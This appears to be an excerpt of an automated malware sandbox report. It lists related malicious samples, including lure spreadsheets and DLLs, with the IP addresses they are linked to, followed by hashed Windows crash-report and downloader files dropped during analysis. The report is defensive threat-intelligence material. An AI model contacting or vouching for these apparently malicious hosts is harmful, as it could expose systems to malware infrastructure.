	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse	212.237.56.116
OnlineSASFR	mal2.dll	Get hash	malicious	Browse	195.154.133.20
	mal.dll	Get hash	malicious	Browse	195.154.133.20
	mal2.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	AtlanticareINV25-67431254.htm	Get hash	malicious	Browse	51.15.17.195
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	195.154.133.20
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20
	67MPsax8fd.exe	Get hash	malicious	Browse	163.172.208.8
	Linux_x86	Get hash	malicious	Browse	212.83.174.79
	184285013-044310-Factura pendiente (2).exe	Get hash	malicious	Browse	212.83.130.20
	MTjXit7IJn	Get hash	malicious	Browse	51.158.219.54
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse	195.154.133.20
	gvtdsqavfej.dll	Get hash	malicious	Browse	195.154.146.35
	mhOX6jll6x.dll	Get hash	malicious	Browse	195.154.146.35

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.248598563745147
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4m:BJiRdwfu2SRU4m
MD5:	CEAE2DB47CE8C24ED5DADE99415E85A6
SHA1:	FE6069BE3FC50906B6D16E1B0467B3E76BACD4EE
SHA-256:	11C84C83DB6D353DC2D36623672967040E4AD44FD08A9223095A8BF47B156A5E
SHA-512:	73E2367BDF324F372E6FB12A15F195BF41368E8DF23BE450D948F839C87F95B05F25A6F2E9C5E83F6C916CDD19BFB19F4F668BD3C30049FF488923163049FBB3
Malicious:	false
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x450f8f8a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.25066881879413755
Encrypted:	false
SSDEEP:	384:M+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:TSB2nSB2RSjlK/+mLesOj1J2
MD5:	2B910197B18D4E99EC3FCF8398C7C321
SHA1:	713A0D479C03AC930151338D2C52EC4B0A2111D8
SHA-256:	48A4FD15A60DCE4D772390B1DCCC1FB10B064A93F08DE88A2D9EA6A8C1993266
SHA-512:	7BAB0E1273301135A63288533AD0DD7BA25CC3C446E9CDE4071DB243B1395192985BB82BD15B5EF2BBDF970236904CF2DF82C19FEAB8910966C2B3231BFC457F
Malicious:	false
Preview:	E...... ................e.f.3...w........................&..........w...'...yS.h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w........................................................................................................................................................................................................................................J..'...y...................#...'...yS.........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07713236509382654
Encrypted:	false
SSDEEP:	3:Q/l1Ev4Cpcw8l/bJdAtiaU4CnEll3Vkttlmlnl:Q/lQ4Cpd8t45U4uM3
MD5:	D83879C90B026F0111D4AB358C4B1BC7
SHA1:	8D403DAE39A0CF734E8C68C9B026AD5023CCC895
SHA-256:	B7D691FD806FFEBEB5FE84ADAC09B4EA23019E551071A75AB644DB8E3C9D9C78
SHA-512:	7ADBBD19717DFAD92118C5B21985B1CD74E22ACD31B15250C60802D12D9CE536BD01ED730BE1D9F6EEA61DB360D6C53173140C25DE21E2358251B3FC05D88D9E
Malicious:	false
Preview:	.{d!.....................................3...w...'...yS......w...............w.......w....:O.....w...................#...'...yS.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_8c5962cbbdb13a8671f1f3c3793157e73bd5d897_d70d8aa6_154f1fea\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6738757938696471
Encrypted:	false
SSDEEP:	96:cueJk3ARKgZqyiy9hkoyt7JfapXIQcQ5c6A2cE2cw33+a+z+HbHgOVG4rmMOyWZQ:c4LiB7HnM28jjSq/u7sYS274ItW
MD5:	3979C938293636DFE1825F076E48B744
SHA1:	2A0BDCA11089394BFBF79AD5085AEF011B333099
SHA-256:	A0C8A7850F565271357535E70DE6FBDF5F924CC5232D411CBB6BE67B80C614DF
SHA-512:	36A38DA82660A3F73A7AD611A75A80419E22568BE073062507E08190C1CAF085EB9459A28B1A9218935FA13C3E007662BD32E4D0727D8A5851118234AE94E4EB
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.8.6.4.3.2.4.0.3.3.9.8.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.4.9.7.1.f.e.3.-.1.d.2.a.-.4.f.6.b.-.9.b.3.d.-.d.3.2.c.6.8.e.2.f.c.b.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.0.2.1.4.8.6.6.-.e.a.e.b.-.4.9.5.1.-.8.b.c.d.-.9.e.d.b.6.f.c.f.6.2.e.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.7.c.-.0.0.0.1.-.0.0.1.c.-.6.9.2.b.-.f.3.9.6.2.5.e.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.0.9././.2.8.:.1.1.:.5.3.:.0.5.!.0.!.l.o.a.d.d.l.l.3.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_d71d33d652a62c864cb684e881f783bcee8c2df7_d70d8aa6_0b7f51a9\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6780496869404035
Encrypted:	false
SSDEEP:	96:/YFNUbYfMKgZqyFy9hk1Dg3fWpXIQcQic6fcEKcw3KW+a+z+HbHgOVG4rmMOyWZQ:QPUUfDiBFH8bQ5jSq/u7sYS274ItW
MD5:	253E67524E665CED7FCB680D0B15A679
SHA1:	24639CE4E89EBE95A718F39E052B66EE1DB8571E
SHA-256:	D735AF532B084C095252034F04EA6E719F558707D29D910C1AAC03E4434D78B6
SHA-512:	6C524B0409FF6FEC5A18672AE22713F10264605A27EF509BACAD28FB8858B02B1229CEBE148A46BFCFA83D8F5DD5DDFFFDDC49879E9CF9247F79FBC36B69EC29
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.8.6.4.4.5.2.5.3.6.5.5.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.2.8.8.6.4.5.0.3.0.0.5.1.0.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.c.6.5.1.a.a.b.-.c.b.9.c.-.4.e.a.e.-.b.0.8.d.-.7.3.b.d.1.b.2.a.e.7.9.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.d.f.2.b.9.a.3.-.8.2.8.8.-.4.1.6.5.-.8.9.7.b.-.b.3.4.2.2.7.6.c.2.b.c.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.7.c.-.0.0.0.1.-.0.0.1.c.-.6.9.2.b.-.f.3.9.6.2.5.e.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER130B.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4598
Entropy (8bit):	4.474808152945533
Encrypted:	false
SSDEEP:	48:cvIwSD8zsPJgtWI9OzkaiWSC8Blb8fm8M4J2yzZFlT+q84WvuKcQIcQwQkd:uITfxFIajSN8JJNguKkwQkd
MD5:	D74B9CA42FCB4FF47670DBB70126665D
SHA1:	C713CE9910F32D106BDA790CB5B81050AFB6EA4E
SHA-256:	351496A5886658C4E4EAC55F0BA237EEC44C116671BD7983947295C19FD3B259
SHA-512:	4794B84A709693530AD15FC706F662029230CF25AE8A83F08896FA1826DBF0B359E053F56265706028B07CC7FEC1C1B5B9851AEB59FA64188688A38AC6A8B1CE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1279431" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3AA6.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 2 02:40:46 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	1059516
Entropy (8bit):	1.352706935657892
Encrypted:	false
SSDEEP:	1536:Gt1e8iM+a4YlSOTeBvftH4l48olYfvW0eYkp4GmC4XzcYpM6IcgPO:S17iM+hYlSbvftYHoieIZIlPO
MD5:	609F488A07CAB33EE4C369EC64AB8E68
SHA1:	13F1F816D89247048761B91950FB0A6342295791
SHA-256:	ECDBC0A49FDF15A6886ED1056B4CA76D37D08D4C8A41036A4B6E2FC932FA4F24
SHA-512:	11F2B75FFA6E5B0DE6AF9B8B4F20512D3ED40C59A5076452DC1BB2837817D62ECDB44622224F785A54532E18F9C679B74CA451CF65C6739392DC9BCE223B9C96
Malicious:	false
Preview:	MDMP....... ........2.a............4...............H.......$...........................`.......8...........T...........@...\|............................................................................................U...........B......p.......GenuineIntelW...........T.......\|...z1.a4............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER449A.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8302
Entropy (8bit):	3.6915284993016986
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/al6q56YFNSUtugmfL8GSqCpDe89boZsfUUGYm:RrlsNi+686YvSUtugmfLrSNoyfNw
MD5:	1F87088A2C4B50685F9DF738D891EE0D
SHA1:	C3AFE2940FCAE79DBF0F28CC6BB96B51671A5A8F
SHA-256:	93619AAB36DF73654B94426D43A83B7A0111F98AED5F22995DB9CEDD9FC70661
SHA-512:	56B3EE353C0D6920650BE842CB90BBDF78AC03BE89E73E3D88FC58FE934B344D3377B9DCCE622C5E4B5A56EF5C43F750E7F6FC470A80DF7419D019C9D1F3AC00
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.2.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4789.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4558
Entropy (8bit):	4.433540504001836
Encrypted:	false
SSDEEP:	48:cvIwSD8zsPJgtWI9OzkaiWSC8B58fm8M4J2yGtFw+q84tjCKcQIcQwQkd:uITfxFIajSNoJEoxCKkwQkd
MD5:	917A30CB8F45138C5B6CE4832BD64950
SHA1:	462BCE590F4F8B964B444066E2A558AEA1A41822
SHA-256:	F37BFB12A9C8E0181148949B5B642904E89663392CC7658E5D6A02D1F36BDB41
SHA-512:	8B95835D70E20375A89A272CDB69D67DCE858835C5911EBE14EE8A8EF3757AA1E6E0308DD1167C307523373AF4F4F6EE9DCA4E44ECB69D9DA722B50AAE36270B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1279431" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E7D.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	51764
Entropy (8bit):	3.066226886579781
Encrypted:	false
SSDEEP:	1536:znHBfC2qopFhm5NMFBqCAEzfnEbLt1Zy/yaD2kwxNog:znHBfC2qopFhm5NMFBqCAEzfnEbLtzyG
MD5:	0C82D3D4C22C53918FA237399AE6871C
SHA1:	4898B947854FDB7D7AF136F1B54CB6BCFA097933
SHA-256:	23B4A7A2F4E5E85842A640A1CCC54ABA392E7A4E96DBDC871C413447DDA646EC
SHA-512:	5486DA1D4E56902CF9824653FD0D1294E7A8AD91935B79DFE1E0A558E3BCD2D5D3325DEEA1F17540CF364977A8117617758E4B3C44F6B350F9BD8F1A6065C2D5
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER538F.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695643602908232
Encrypted:	false
SSDEEP:	96:9GiZYW8QuNj0Y5YLWlFiHIUYEZUwtFiIOkprwj/72a9fKLGZhIDo3:9jZDnehxT2a9fWGZeDo3
MD5:	4F565AA7FF00770992EA2D46A65C181C
SHA1:	E71996407985D1EFC7802A26A616CD6BCAFAD017
SHA-256:	7D9388E1E756539E15D21F3233476519475F0546E654BA1DBEB23EB284091E4B
SHA-512:	65C13B833696C293743496B47B275318A99FC4C57879E211AB3D0DEE73BF7D7940C697976A7AAB7FF616007B474CF66E4A980776D2D2C0AB29D7F47582B6A3F8
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER830C.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	51386
Entropy (8bit):	3.0669804346601217
Encrypted:	false
SSDEEP:	1536:YpH7qfTmlXLIta6T/yshq/wIGzI9o3Sv79yqlzRl:YpH7qfTmlXLIta6T/yshq/wIGzI9o3SL
MD5:	7AEB64E6732D8507B55CDB97065F5551
SHA1:	E336635236D2CA4885F0AF446932A888356E86EF
SHA-256:	7B2551D74FF3C3335954AB31B2B3591B17DB35B97C998AFBA5E675E85C52643A
SHA-512:	572BE12F411E2B7809F380A7E8EADF43D942BBCEB7A875E99EE242F60FE4A26966382E046DB7385BA727CC0A750CC1268EE7A2A7F962498187EA733DEEE93D85
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8792.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6960488456297536
Encrypted:	false
SSDEEP:	96:9GiZYWF5XUOYUY1WmiHGUYEZHGUtFikO8pWwPisaZefyl7Z+IGn3:9jZDLTlGuPaZefg7ZJGn3
MD5:	DE94B8774A8048437382D1A660F29AA9
SHA1:	1A8665F56338D79BE34B9232DD84C5B565065CAE
SHA-256:	6E07764DD487971E78C9FF24B371410E8498F8143EEB163B9D167A15DC006283
SHA-512:	B201C8D8F965F33DB6F6EC16201323A4AA192CDC5FA4D6745FBBF1590284E66EBA634BF9E5512EEFED2C55CEE593B7E94671FFF678626D8D23A0A13A39C537D9
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER87A.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 2 02:40:33 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	26500
Entropy (8bit):	2.499854907523872
Encrypted:	false
SSDEEP:	192:QxA1R8L2Oyej8VlR/395FyQorZxJjb5XcRJX+xS+u2xh9c9u:78Vbj1LJj1Xcv+xS+u2xX
MD5:	590591470D673CCE95BF4573423BCF62
SHA1:	4AAB40C626AF3781AD5D0A67C0D8A571887859E5
SHA-256:	A51E1E0FD6D7C38020106070BE7FA729FD0E8DC15E191C4C27D83E1CD636EDDA
SHA-512:	2DFF7DAAB01486716915E7395DE249F5E8261E20EA957002D202606C2716AEE535FE4BAEC8BE44A1BD0DE82A1103A7642292C78D277F341240C4EB3481D3ECD7
Malicious:	false
